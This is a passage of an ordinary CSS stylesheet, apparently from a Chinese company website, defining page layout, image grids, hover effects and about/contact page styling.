margin: 0 auto
}
.commencontent {
width: 1228px;
margin: 0 auto;
margin-top: 45px;
overflow: hidden
}
.commencontent .left {
width: 825px;
float: left
}
.commencontent .left li {
width: 400px;
float: left;
margin-right: 20px
}
.commencontent .left li:hover img {
box-shadow: 0 0 15px #666;
-moz-box-shadow: 0 0 15px #666;
-webkit-box-shadow: 0 0 15px #666;
-o-box-shadow: 0 0 15px #666;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.commencontent .left li:last-child {
margin-right: 0
}
.commencontent .left p {
text-align: center;
color: #333;
padding: 10px 0;
font-size: 14px
}
.commencontent .left li:hover p {
color: #094
}
.commencontent .left .leftone:hover {
box-shadow: 0 0 15px #666;
-moz-box-shadow: 0 0 15px #666;
-webkit-box-shadow: 0 0 15px #666;
-o-box-shadow: 0 0 15px #666;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.commencontent .left .lefttwo:hover {
color: #094
}
.commencontent .right {
width: 390px
}
.commencontent .right img {
padding: 55px 115px
}
.commencontent .right p {
padding-left: 40px;
text-indent: 2em;
font-size: 14px
}
.commencontent .right .title {
font-size: 16px;
text-indent: 0;
padding: 0;
font-weight: 700;
color: #333;
margin: 20px 0;
text-align: center
}
.commencontent .top {
margin-bottom: 20px;
width: 100%;
height: 340px;
overflow: hidden
}
.commencontent .top li {
width: 604px;
height: 340px;
float: left;
margin-right: 20px
}
.commencontent .top li:last-child {
margin-right: 0
}
.commencontent .bottom {
width: 100%;
height: 225px
}
.commencontent .bottom li {
width: 395px;
height: 225px;
overflow: hidden;
float: left;
position: relative;
margin-right: 20px;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.commencontent .bottom li:last-child {
margin-right: 0
}
.commencontent .bottom li a {
position: absolute;
width: 100%;
height: 100%;
display: block;
top: 0;
left: 0;
z-index: 1;
color: #fff;
text-align: center;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.commencontent .bottom li:hover a {
background: rgba(0,0,0,.4)
}
.commencontent .bottom li a p {
padding: 90px 0;
font-size: 14px;
opacity: 0
}
.commencontent .bottom li:hover a p {
opacity: 1
}
.commencontent .more {
margin: 30px 0 10px 0
}
.commencontent .more a {
width: 155px;
height: 40px;
line-height: 40px;
font-size: 14px;
text-align: center;
display: block;
border: 1px solid #333;
border-radius: 25px;
margin: 0 auto;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.commencontent .more a:hover {
background: #333;
color: #fff
}
.commencontent .moree a {
width: 220px!important;
height: 45px;
line-height: 45px
}
.zhantinginner01 {
width: 1228px;
margin: auto;
padding-top: 20px
}
.zhantinglist_bangongshi {
margin-bottom: 40px
}
.zhantinglist_bangongshi02 {
margin-bottom: 17px
}
.bangongshi-list2 {
margin-top: 20px
}
.bangongshi-list {
width: 100%;
height: 130px;
overflow: hidden;
zoom: 1
}
.bangongshi-list-01 li {
width: 189px;
height: 130px;
overflow: hidden;
position: relative;
float: left;
margin-right: 18px
}
.bangongshi-list-01 li:last-child {
margin-right: 0
}
.bangongshi-list-01 li .lianjie {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,.4);
font-size: 14px;
font-weight: 700;
color: #fff;
text-align: center;
line-height: 130px;
transition: all .2s ease-in;
-webkit-transition: all .2s ease-in;
-moz-transition: all .2s ease-in;
-o-transition: all .2s ease-in
}
.bangongshi-list-01 li:hover .lianjie {
top: 100px;
line-height: 30px;
background: rgba(0,0,0,.6)
}
.bangongshi-list-011 {
height: 86px
}
.bangongshi-list-011 li {
width: 125px;
height: 86px;
line-height: 86px;
overflow: hidden;
margin: 10px 10px 0 0
}
.bangongshi-list-011 li .lianjie {
line-height: 86px
}
.bangongshi-list-011 li.special {
margin-right: 18px
}
.bangongshi-list-011 li:hover .lianjie {
top: 60px;
line-height: 28px
}
.bangongshi-list-02 {
width: 100%;
height: 250px;
overflow: hidden
}
.bangongshi-list-02 li {
width: 290px;
margin-right: 20px;
float: left;
height: 250px;
overflow: hidden
}
.bangongshi-list-02 li:first-child {
width: 604px;
height: 250px;
overflow: hidden
}
.bangongshi-list-02 li:last-child {
margin-right: 0
}
.bangongshi-list-02 li p {
text-align: center;
padding: 10px 0;
font-size: 14px;
color: #666
}
.bangongshi-list-02 li .img {
width: 100%;
height: 200px;
display: inline-block;
overflow: hidden
}
.bangongshi-list-02 li img {
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.bangongshi-list-02 li:hover p a {
color: #094
}
.bangongshi-list-02 li:hover img {
-webkit-transform: scale(1.1);
-moz-transform: scale(1.1);
-o-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1)
}
.bangongshi-box01 {
width: 100%;
height: 415px;
margin-top: 60px
}
.bangongshi-box01 .left,.bangongshi-box01 .right {
width: 604px;
height: 413px
}
.bangongshi-box01 h6 {
font-size: 18px;
color: #333;
padding: 35px 0 20px 45px
}
.bangongshi-box01 p {
font-size: 14px;
color: #666;
padding-left: 45px
}
.bangongshi-box01 .left-box {
width: 290px;
height: 200px;
display: inline-block
}
.bangongshi-box01 .left-box01 {
width: 225px;
height: 155px;
background: #f39b6d;
padding: 45px 0 0 65px;
color: #fff;
margin: 70px 20px 0 0;
font-size: 14px;
font-weight: 700;
float: left
}
.bangongshi-box01 .left-box02 {
margin-top: 70px
}
.bangongshi-box01 .bangongshi-left-ul li {
width: 292px;
height: 200px;
float: left;
margin-right: 20px;
margin-bottom: 20px
}
.bangongshi-box01 .bangongshi-left-ul li.special {
margin-right: 0
}
.bangongshi-box01 .bangongshi-left-ul li h6 {
padding: 0 0 15px 0
}
.bangongshi-box01 .bangongshi-left-ul li p {
padding: 0
}
.bangongshi-box01 .bangongshi-left-ul li:hover img,.bangongshi-box01 .left .img:hover img,.bangongshi-box01 .left-box:hover img,.bangongshi-box01 .right .img:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.honorlist {
margin: 0;
padding: 0;
width: 100%;
height: 260px
}
.honorlist li {
width: 292px;
float: left;
margin-right: 20px
}
.honorlist li:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.honorlist li p {
padding: 10px 0;
text-align: center
}
.xuexiao-box01 .left .left-box02 {
margin-right: 20px
}
.xuexiao-box01 .left .special {
margin-right: 0
}
.xuexiao-box01 .right a {
margin-top: 0;
width: 290px;
height: 200px;
display: inline-block;
margin-right: 20px
}
.xuexiao-box01 p {
padding: 0 87px 0 45px
}
.xuexiao-box02 .right a {
width: 290px;
height: 200px;
display: inline-block;
margin: 0 20px 13px 0
}
.xuexiao-box02 .right .special {
margin-right: 0
}
.zhantingbox01 {
margin-bottom: 40px
}
.zhantingbox-huisebg .imgtop {
margin-top: 6px
}
.canyin-list {
zoom: 1;
clear: both;
overflow: hidden
}
.canyin-list li {
margin-right: 20px;
float: left
}
.canyin-list .canyin-list01 {
width: 604px;
height: 370px
}
.canyin-list .canyin-list02 {
width: 395px;
height: 265px
}
.canyin-list .special {
margin-right: 0
}
.canyin-list li p {
padding: 15px 0;
font-size: 16px;
color: #333;
text-align: center
}
.canyin-list li:hover p a {
color: #094
}
.canyin-list li:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
border-radius: 2px;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.canyin-list02 li p {
font-size: 14px;
color: #666
}
.canyin-list03 {
width: 100%;
height: 414px
}
.canyin-list03 .canyin-img,.canyin-list03 .canyin-imglist {
width: 604px;
height: 413px;
overflow: hidden;
float: left;
position: relative
}
.canyin-list03 .canyin-img img {
-webkit-transition: all .4s ease-out;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.canyin-list03 .canyin-img:hover img {
-webkit-transform: scale(1.1);
-moz-transform: scale(1.1);
-o-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1)
}
.canyin-img p a {
width: 100%;
height: 52px;
position: absolute;
bottom: 0;
left: 0;
background: rgba(0,0,0,.4);
z-index: 1;
text-align: center;
line-height: 52px;
font-size: 14px;
color: #fff
}
.canyin-imglist {
margin-left: 20px
}
.canyin-imglist li {
width: 291px;
height: 201px;
overflow: hidden;
position: relative;
float: left;
margin: 0 20px 12px 0
}
.canyin-imglist li.special {
margin-right: 0
}
.canyin-imglist p {
width: 100%;
height: 40px;
line-height: 40px;
position: absolute;
bottom: 0;
left: 0;
background: rgba(0,0,0,.4);
z-index: 1;
text-align: center;
line-height: 40px
}
.canyin-imglist p a {
font-size: 14px;
color: #fff
}
.canyin-imglist li img {
-webkit-transition: all .4s ease-out;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.canyin-imglist li:hover img {
-webkit-transform: scale(1.1);
-moz-transform: scale(1.1);
-o-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1)
}
.honorp {
font-size: 14px;
color: #333;
margin: 45px 0 18px 0
}
.canyin-list2 {
height: 495px
}
.canyin-list2 p,.canyin-list22 p {
text-indent: 0!important
}
.canyin-list2 .left {
width: 624px
}
.canyin-list2 .right {
width: 575px
}
.canyin-list2 .right li {
float: left;
width: 275px;
height: 219px;
margin-bottom: 20px
}
.canyin-list2 .right p {
padding: 0;
margin: 12px 0 0 0
}
.canyin-list2 .right img {
padding: 0
}
.canyin-list2 .right li:hover a {
color: #094
}
.canyin-list2 .right .text {
background: #f5f5f5;
width: 238px;
height: 134px;
padding: 26px 19px;
text-align: left;
color: #333
}
.canyin-list2 .right .p1,.canyin-list22 .p1 {
font-size: 20px;
margin: 0;
text-indent: 0;
text-align: center
}
.canyin-list2 .right .p2,.canyin-list22 .p2 {
text-align: left;
line-height: 22px;
text-indent: 0;
font-size: 14px
}
.canyin-list22 li {
float: left;
width: 292px;
height: 227px;
margin: 0 18px 26px 0;
text-align: center
}
.canyin-list22 li.special {
margin-right: 0
}
.canyin-list22 li p {
margin: 12px 0 0 0
}
.canyin-list22 .text {
background: #f5f5f5;
width: 254px;
height: 112px;
padding: 44px 19px;
text-align: left;
color: #333
}
.canyin-list22 li a {
font-size: 14px;
color: #333
}
.canyin-list2 .left:hover img,.canyin-list22 li:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.canyin-list2 .left:hover a,.canyin-list22 li:hover a {
color: #094
}
.anlibox {
width: 1228px;
margin: 0 auto;
margin-bottom: 60px
}
.anlibox01 {
width: 605px;
float: left;
margin: 21px 18px 0 0
}
.anlibox01 p {
width: 85%;
color: #666;
font-size: 14px;
line-height: 24px;
margin: 0
}
.anlibox01 img {
margin-top: 55px
}
.anlihuise {
padding-top: 25px
}
.anlibox02 {
width: 120%
}
.anlibox02 li {
float: left;
margin-right: 18px
}
.anlibox02 li p {
text-align: center;
margin: 15px 0 40px 0;
font-size: 14px
}
.anlibox02 li:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.dingzhi-erjimenu .w2 {
width: 1010px
}
.dingzhi-erjimenu li a {
padding: 23px 15px 23px 0
}
#list_jingxuan {
padding: 10px 0;
width: 1228px;
margin: 0 auto
}
#list_jingxuan #title {
font-size: 14px;
padding-left: 10px;
color: #333;
line-height: 35px;
border: 1px solid #ddd;
background: #f3f3f3
}
#list_jingxuan ul {
width: 120%;
overflow: hidden;
zoom: 1;
padding-top: 10px
}
#list_jingxuan ul li {
width: 190px;
height: 180px;
float: left;
margin: 20px 17px 0 0;
overflow: hidden
}
#list_jingxuan ul li .aa {
display: block;
text-align: center;
margin: 10px 0
}
#list_jingxuan ul li img {
width: 190px;
height: 130px
}
#list_jingxuan ul li h3 {
line-height: 40px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-weight: 100;
text-align: center
}
.dingzhi-anli-list {
width: 1228px;
margin: 0 auto
}
.dingzhi-anli-list .list-li2 {
text-align: center;
transition: all 1s;
-moz-transition: all 1s;
-webkit-transition: all 1s;
width: 281px;
height: 330px;
overflow: hidden;
float: left;
margin: 0 31px 40px 0;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede
}
.dingzhi-anli-list .list-li2 img {
width: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.dingzhi-anli-list .list-li2:hover a img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.dingzhi-anli-list .list-li2 span {
display: block;
margin: 14px 0 0 0;
display: block;
text-align: center;
padding: 0 20px 12px;
font-size: 16px;
color: #333;
height: 25px;
line-height: 30px;
overflow: hidden
}
.dingzhi-anli-list .list-li2 p {
padding: 0 20px;
height: 66px;
overflow: hidden;
text-align: left
}
.dingzhi-anli-list .list-li2 .img {
display: block;
overflow: hidden;
height: 185px
}
.dingzhi-erjimenu li.on a {
background: url(../images/20171122-caidan01.jpg) no-repeat left 50px
}
.dingzhi-anli-list .list-li2 .more {
font-size: 14px;
color: #333;
border: 1px solid #666;
display: inline-block;
padding: 5px 12px;
margin: 20px 0 22px;
transition: all .4s;
-moz-transition: all .4s;
-webkit-transition: all .4s
}
.dingzhi-anli-list .list-li2:hover .more {
background: #313131;
color: #f5f5f5;
border: 1px solid #fff
}
.project-detail-center .time {
font-size: 18px;
color: #333;
padding: 10px 0;
border-top: 1px solid #333;
width: 80px
}
.project-detail-center .project-title {
font-size: 26px;
color: #333;
line-height: 40px;
margin-bottom: 25px
}
.project-detail-center .p1 {
font-size: 16px;
line-height: 28px;
margin-bottom: 30px;
color: #666
}
.project-detail-center p {
font-size: 14px;
color: #333;
width: 100%;
text-align: left
}
.shiyong-product {
background: #fff;
padding: 25px 25px 15px 25px;
margin-top: 25px
}
.shiyong-product .title {
color: #333;
font-size: 20px
}
.shiyong-product22 {
background: #f5f5f5;
padding: 25px 25px 15px 25px;
margin-top: 25px
}
.shiyong-product22 .tonglei {
margin-bottom: 0
}
.shiyong-product22 .tonglei li {
width: 257px;
float: left;
margin-right: 45px;
text-align: center;
overflow: hidden
}
.shiyong-product22 .tonglei span {
color: #333;
display: block;
text-align: center
}
.shiyong-product22 .tonglei li .img {
display: block;
width: 228px;
overflow: hidden
}
.shiyong-product22 .tonglei li:last-child {
margin-right: 0
}
.shiyong-product22 .tonglei li img {
width: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.shiyong-product22 .tonglei li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.project-detail-center .xiangmu-t {
font-size: 20px;
margin: 45px 0 10px;
color: #333
}
.project-detail-center {
text-align: center
}
.project-detail-center img {
margin: 20px 45px 15px 0
}
.project-detail-center .moree {
margin-top: 60px;
font-size: 16px;
font-weight: 700
}
.project-detail-center .more {
width: 100%
}
.project-detail-center .more a {
text-decoration: underline;
display: block
}
.project-detail-center .more a:hover {
text-decoration: none
}
#gotoTop {
display: none;
position: fixed;
width: 50px;
height: 50px;
cursor: pointer;
background: rgba(102,102,102,.5);
bottom: 65px;
right: 0
}
#gotoTop p {
padding-top: 31px;
line-height: 12px;
background: url(../images/index_bg_3.png) no-repeat;
background-position: -182px -21px
}
div#helpBody {
width: 1228px;
margin: auto;
overflow: hidden
}
div#textList {
float: left;
width: 230px;
border: 1px solid #dedede;
border-top: 1px solid #dedede
}
div#textList dl#zhinan dt {
line-height: 35px;
width: 250px;
background: #f9fbfa;
text-indent: 30px;
font-size: 14px;
border-bottom: 1px solid #dedede;
border-top: 1px solid #dedede
}
div#textList dl#zhinan dd {
line-height: 30px;
width: 250px;
text-indent: 30px;
font-size: 14px
}
div#textList dl#zhinan dd span {
color: #f4276a;
font-weight: 900;
margin-right: 5px
}
div#textList .zhinan dd {
line-height: 30px;
width: 230px;
text-indent: 30px;
font-size: 14px
}
div#textList .zhinan dt {
line-height: 35px;
width: 230px;
background: #f9fbfa;
text-indent: 30px;
font-size: 14px;
border-bottom: 1px solid #dedede
}
div#textList dd span {
color: green;
font-weight: 900;
margin-right: 5px
}
.chanpin-newcommon-body .des-friend-list {
display: table;
padding: 14px 2px
}
.chanpin-newcommon-body .des-friend-list li {
float: left;
width: 133px;
height: 107px;
min-height: auto;
margin: -1px 0 0 -1px;
padding: 0;
display: table-cell;
transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.chanpin-newcommon-body .des-friend-list li img {
width: 100%
}
.chanpin-newcommon-body .des-friend-list li:hover {
box-shadow: 0 1px 15px 1px #b3bbc3;
position: relative;
z-index: 222
}
#helpcenter {
width: 950px;
float: right;
border: 1px solid #ddd;
text-align: center;
padding-bottom: 30px;
margin-bottom: 30px
}
#helpcenter .liucheng_2 {
color: #023401;
border-top: 1px solid #023401;
border-bottom: 2px solid #023401;
background: #f1f1f1;
padding: 0 20px
}
#helpcenter p {
font-size: 14px;
line-height: 26px;
padding: 0 20px;
text-align: left
}
#helpcenter .help-title {
color: #023401;
font-size: 16px;
margin: 20px 0 5px
}
#helpcenter img {
margin: 8px 0 30px 0
}
#helpcenter .list-a a {
width: 160px;
display: inline-block;
color: #333
}
#aboutBody {
width: 1228px;
margin: auto;
border: 1px solid #f0f0f0;
overflow: hidden
}
.aboutbody {
width: 100%;
height: auto;
padding-top: 6px
}
.aboutinner {
width: 1228px;
margin: auto;
font-size: 14px;
color: #666;
background: #f4f4f4;
padding-bottom: 50px
}
.aboutmenu {
width: 100%;
height: 64px;
background: #fff;
line-height: 64px
}
.aboutmenu ul {
width: 850px;
height: 64px;
margin: 0 auto
}
.aboutmenu li {
float: left
}
.aboutmenu li a {
font-size: 16px;
color: #999;
padding: 0 52px;
border-right: 1px solid #999
}
.aboutmenu li:last-child a {
border-right: 0
}
.aboutmenu li:hover a {
color: #094;
border-right: 1px solid #333
}
.aboutmenu li.active a {
color: #094
}
.aboutbody .huanying {
font-size: 24px;
color: #333;
padding: 40px 0 30px 0;
text-align: center
}
.aboutbody .normal {
text-align: center;
width: 850px;
margin: 0 auto
}
.ab-common {
width: 900px;
margin: 0 auto
}
.ab-common .article {
width: 405px;
float: left
}
.ab-common .article p {
text-align: justify
}
.ab-common01 .article {
margin-right: 55px
}
.ab-common02 .article {
margin-left: 55px
}
.ab-common .img {
float: left;
width: 330px;
margin: 35px 0 20px
}
.ab-common .img img {
width: 100%
}
.ab-common .article .title {
font-size: 24px;
color: #333;
margin: 18px 0 20px 0
}
.ab-common .article .title2 {
font-size: 20px;
color: #333;
margin-bottom: 30px
}
.ab-common .article .titleee {
text-align: center
}
.ab-common span {
display: inline-block;
width: 82%;
}
.rongyulist {
margin-top: 40px
}
.rongyulist li {
float: left;
text-align: center
}
.rongyulist01 li {
margin-right: 10px
}
.rongyulist li p {
padding: 10px 0
}
.rongyulist01 .last {
width: 270px;
float: right;
text-align: justify;
padding-top: 20px
}
.rongyulist02 .first {
width: 240px;
float: left;
text-align: justify;
padding-top: 20px
}
.rongyulist02 li {
float: right;
margin-left: 10px
}
.rongyulist03 li {
margin-right: 55px
}
.rongyulist03 li:last-child {
margin-right: 0
}
.rongyulist04 li img {
width: 160px
}
.rongyulist04 li:last-child {
width: 310px;
float: right;
text-align: justify;
padding-top: 20px
}
.rongyulist li .title {
font-size: 24px;
color: #333;
margin: 18px 0 0 0
}
.ab-job .article {
margin-top: 55px
}
.joblist {
margin-left: 30px
}
.joblist .biaoti {
text-align: center;
width: 245px;
height: 60px;
margin: 0 auto;
margin-bottom: 40px;
background: #030;
line-height: 60px;
color: #fff;
font-size: 20px;
text-indent: 0;
border-radius: 30px;
-webkit-border-radius: 30px;
-moz-border-radius: 30px;
-o-border-radius: 30px;
box-shadow: -2px 2px 10px #030;
-moz-box-shadow: -2px 2px 10px #030;
-webkit-box-shadow: -2px 2px 10px #030;
-o-box-shadow: -2px 2px 10px #030;
transform: translateY(5px);
-moz-transform: translateY(5px);
-webkit-transform: translateY(5px);
-o-transform: translateY(5px)
}
.joblist li {
margin-bottom: 35px
}
.joblist li p {
text-indent: 80px
}
.joblist .gwzz {
font-size: 18px;
color: #333;
text-indent: 0;
line-height: 28px;
margin-top: 30px
}
.ab-common04 {
margin-top: 65px
}
.ab-common03 .article {
width: 210px;
margin-right: 50px;
margin-top: 40px
}
.ab-common03 .img {
margin-right: 50px;
width: 350px
}
.ab-common04 .article {
margin-top: 45px
}
.ab-common03 .article02 {
width: 190px;
margin-top: 45px;
margin-right: 0
}
.ab-common04 .img {
width: 445px
}
.ab-commonpse {
width: 1100px;
margin: 40px auto 0
}
.ab-commonpse img {
width: 100%;
margin-top: 20px
}
.about-history {
background: #3b3b3b;
padding-bottom: 60px;
margin: 40px 0
}
.about-history .title {
font-size: 28px;
color: #fff;
line-height: 50px;
margin-top: 22px;
text-align: center
}
.about-history .w2 {
background: url(../images/history-bg.png) no-repeat center;
min-height: 800px
}
.history-list {
margin-top: 60px
}
.history-list li {
min-height: 180px
}
.history-list .item01 .fr {
margin-right: 190px
}
.history-list .item02 .right {
margin-right: 45px;
margin-top: 25px
}
.history-list .item02 .fl {
margin-left: 310px;
margin-top: 25px
}
.history-list .item03 .left {
margin-left: 40px;
margin-top: 55px
}
.history-list .item03 .fr {
margin-right: 140px;
margin-top: 55px
}
.history-list .item04 .right {
margin-top: 90px
}
.history-list .item04 .fl {
margin-left: 335px;
margin-top: 90px
}
.history-list li p {
font-size: 16px;
line-height: 24px;
color: #ccc
}
.history-list li .tit {
font-size: 16px;
line-height: 24px;
color: #fff;
margin-bottom: 5px
}
.ab-commonpse .title {
font-size: 24px;
color: #333;
line-height: 50px;
margin: 20px 0
}
.ab-commonpse p.spe {
width: 61%;
margin: 0 auto;
text-align: center
}
.ab-commonpse p.spe span {
display: inline-block;
height: 64px;
}
.w_fl222 .title {
line-height: 18px;
font-size: 18px
}
.w_fl222 .time {
line-height: 12px;
margin: 16px 0
}
.w_fl222 .next-pre {
margin: 32px 0;
padding-top: 40px;
border-top: 1px solid #ececec
}
.w_fl222 .next-pre a {
width: 380px;
height: 43px;
line-height: 43px;
border: 1px solid #ececec;
border-radius: 25px;
display: block;
text-align: center;
font-size: 12px;
color: #999
}
.w_fl222 .next-pre li:first-child {
float: left
}
.w_fl222 .next-pre li:last-child {
float: right
}
.w_fl222 .des {
border-top: 1px solid #ececec;
padding-top: 15px;
margin-top: 23px;
line-height: 26px
}
.lxwm-content .title {
font-size: 22px;
color: #333;
text-align: center;
line-height: 30px;
margin: 50px 0 18px
}
.lxwm-content .p1 {
font-size: 14px;
color: #666;
text-align: center
}
.lxwm-content .ul1 {
margin-top: 50px
}
.lxwm-content .ul1 li {
float: left;
padding: 1.8%;
background: #f6f6f6;
width: 44.7%;
margin-right: 3%
}
.lxwm-content .ul1 li:first-child,.lxwm-content .ul1 li:last-child {
margin-right: 0
}
.lxwm-content .ul1 li:first-child {
text-align: center;
margin-bottom: 50px;
width: 94%;
padding: 3%
}
.lxwm-content .ul1 p {
background: #f6f6f6;
font-size: 12px;
line-height: 18px;
padding: 15px 0 0 0;
text-align: justify
}
.lxwm-content .ul1 span {
display: block;
color: #333;
font-size: 16px;
margin-bottom: 7px
}
.lxwm-content .ul1 .first {
margin: 0 0 70px 0
}
.lxwm-content .ul1 li .wenzi {
width: 56.5%
}
.lxwm-content .ul1 li:first-child .wenzi {
width: 58%;
margin-top: 20px;
padding: 0 0 0 3%;
text-align: left
}
.lxwm-content .ul1 li img {
width: 225px
}
.lxwm-content .ul1 li:first-child img {
width: auto
}
.lxwm-content .ul1 li .title {
font-size: 18px;
color: #000;
text-align: left;
margin: 13px 0 12px;
padding: 0 0 20px;
padding: 0
}
.lxwm-content .ul1 li:first-child .title {
margin: 20px 0 12px
}
.lxwm-content .ul1 li .p3 {
padding: 0;
font-size: 13px;
line-height: 22px;
color: #888;
margin-bottom: 10px
}
.lxwm-content .ul1 li:first-child .p3 {
padding: 0;
font-size: 12px;
line-height: 22px;
color: #888
}
.lxwm-content .ul1 li .p2 {
font-size: 12px;
color: #333;
line-height: 20px
}
.lxwm-content .wenzi span {
display: inline-block;
color: #666;
font-size: 12px;
line-height: 26px;
margin: 10px 8px 8px 0
}
.lxwm-content .wenzi span img {
margin-right: 5px
}
.lxwm-content .ul2 {
margin-top: 40px
}
.lxwm-content .ul2 li {
float: left;
background: #f6f6f6;
padding: 1.8%;
margin-right: 2.2%
}
.lxwm-content .ul2 .li1 {
width: 45.3%;
margin-bottom: 30px
}
.lxwm-content .ul2 .li2 {
width: 27.5%;
margin-right: 3.3%
}
.lxwm-content .ul2 li:last-child,.lxwm-content .ul2 li:nth-of-type(2) {
margin-right: 0
}
.lxwm-content .ul2 p {
font-size: 12px;
color: #666;
line-height: 18px
}
.lxwm-content .ul2 .tit {
font-size: 14px;
color: #333;
margin-bottom: 6px;
margin-top: 15px
}
.lxwm-content .ul3 {
margin-top: 35px;
background: #f6f6f6;
padding: 20px
}
.lxwm-content .ul3 li {
float: left;
margin-right: 27px;
text-align: center
}
.lxwm-content .ul3 li:nth-of-type(5) {
margin-right: 0
}
.lxwm-content .ul3 li p {
font-size: 14px;
margin: 10px auto;
color: #333
}
.lxwm-content .ul3 li:last-child {
display: block;
float: none;
clear: both;
text-align: center
}
.lxwm-content .ul3 li:last-child p {
display: inline-block;
background: #fff;
padding: 6px 10px;
margin: 10px auto 0
}
.lxwm-content .ul3 li span {
margin-left: 30px
}
.aboutbodyspe .ab-common {
width: 1060px;
margin-top: 50px;
padding: 0 20px
}
.aboutbodyspe .ab-common01 .img {
float: right;
width: 510px
}
.aboutbodyspe .ab-common02 .img {
float: left;
width: 510px
}
.aboutbodyspe .article {
margin-top: 50px;
width: 490px
}
.about-content {
width: 1228px;
padding: 45px 0
}
.about-public-content {
text-align: center;
width: 1228px;
padding: 0
}
.about-public-content .about-title {
font-size: 22px;
color: #030;
margin: 55px 0 20px;
text-align: center
}
.about-dingzhi-content img,.neiye-banner img {
width: 100%
}
.ab-common01 .img {
margin-left: 55px
}
.ab-common02 .img {
margin-right: 55px
}
.aboutinner .ab-job:nth-of-type(3) {
margin-bottom: 20px
}
.aboutinner-spe {
background: #fff;
padding-bottom: 0
}
.ab-common span.spe {
width: 64%;
text-indent: 0
}
.about-content2 .career {
width: 780px;
margin: 40px auto 0;
background: url(../images/career-bg.png) no-repeat center;
background-size: 85% auto
}
.about-content2 .career p {
text-align: center;
overflow: hidden;
zoom: 1;
font-size: 13px
}
.about-content2 .career p span {
padding: 5px 15px;
display: inline-block;
color: #3b200c;
border: 1px solid #cb6f0b;
background: #fff
}
.about-content2 .career p a {
color: #3b200c;
margin-left: 10px;
text-decoration: underline
}
.about-content2 .career p a:hover {
text-decoration: none
}
.about-content2 .career .p1 {
width: 72%;
margin: auto
}
.about-content2 .career .p2 {
margin-top: 60px
}
.about-content2 .career .p3 {
width: 90%;
margin: 30px auto
}
.about-content2 .career .pc span {
background: #cb6f0b;
color: #fff
}
.about-content2 .career .pc a {
color: #fff
}
.neiye-banner2 {
width: 100%;
position: relative
}
.about-content2 {
background: #f6f6f6
}
.about-content2 p {
text-align: center
}
.about-public-content p {
font-size: 15px;
line-height: 26px;
text-align: left
}
.about-content2 img {
margin: 40px auto
}
.about-content2 .about-title {
color: #030
}
.syhz-content {
margin: 60px auto
}
.syhz-content p {
font-size: 14px;
line-height: 24px;
text-align: justify
}
.syhz-content .left {
width: 35%
}
.syhz-content .left .p1 {
font-size: 20px;
color: #333;
line-height: 48px
}
.dingzhi-liucheng {
text-align: center;
padding-top: 50px
}
.dingzhi-tit-bg {
display: inline-block;
border: 1px solid #f8b551;
padding: 20px 60px
}
.dingzhi-box-bg {
padding: 70px 0 10px;
margin-bottom: 62px
}
.dingzhi-liucheng .time01 {
font-size: 40px;
line-height: 50px;
color: #000;
padding: 0 15px 0;
display: inline-block;
letter-spacing: 4px
}
.dingzhi-liucheng .time01 span {
color: #fde003
}
.dingzhi-liucheng .p1 {
font-size: 20px;
color: #000;
padding: 23px 0 0 0
}
.dingzhi-liucheng .time02 {
background: url(../images/20171121x-03.png) no-repeat center 0;
overflow: hidden;
zoom: 1;
text-align: center;
width: 1228px;
margin: 90px auto auto
}
.dingzhi-liucheng .time02 li {
float: left
}
.dingzhi-liucheng .time02 p {
color: #000
}
.dingzhi-liucheng .time02 .sp01 {
font-size: 20px
}
.dingzhi-liucheng .time02 .sp02 {
font-size: 18px;
display: none
}
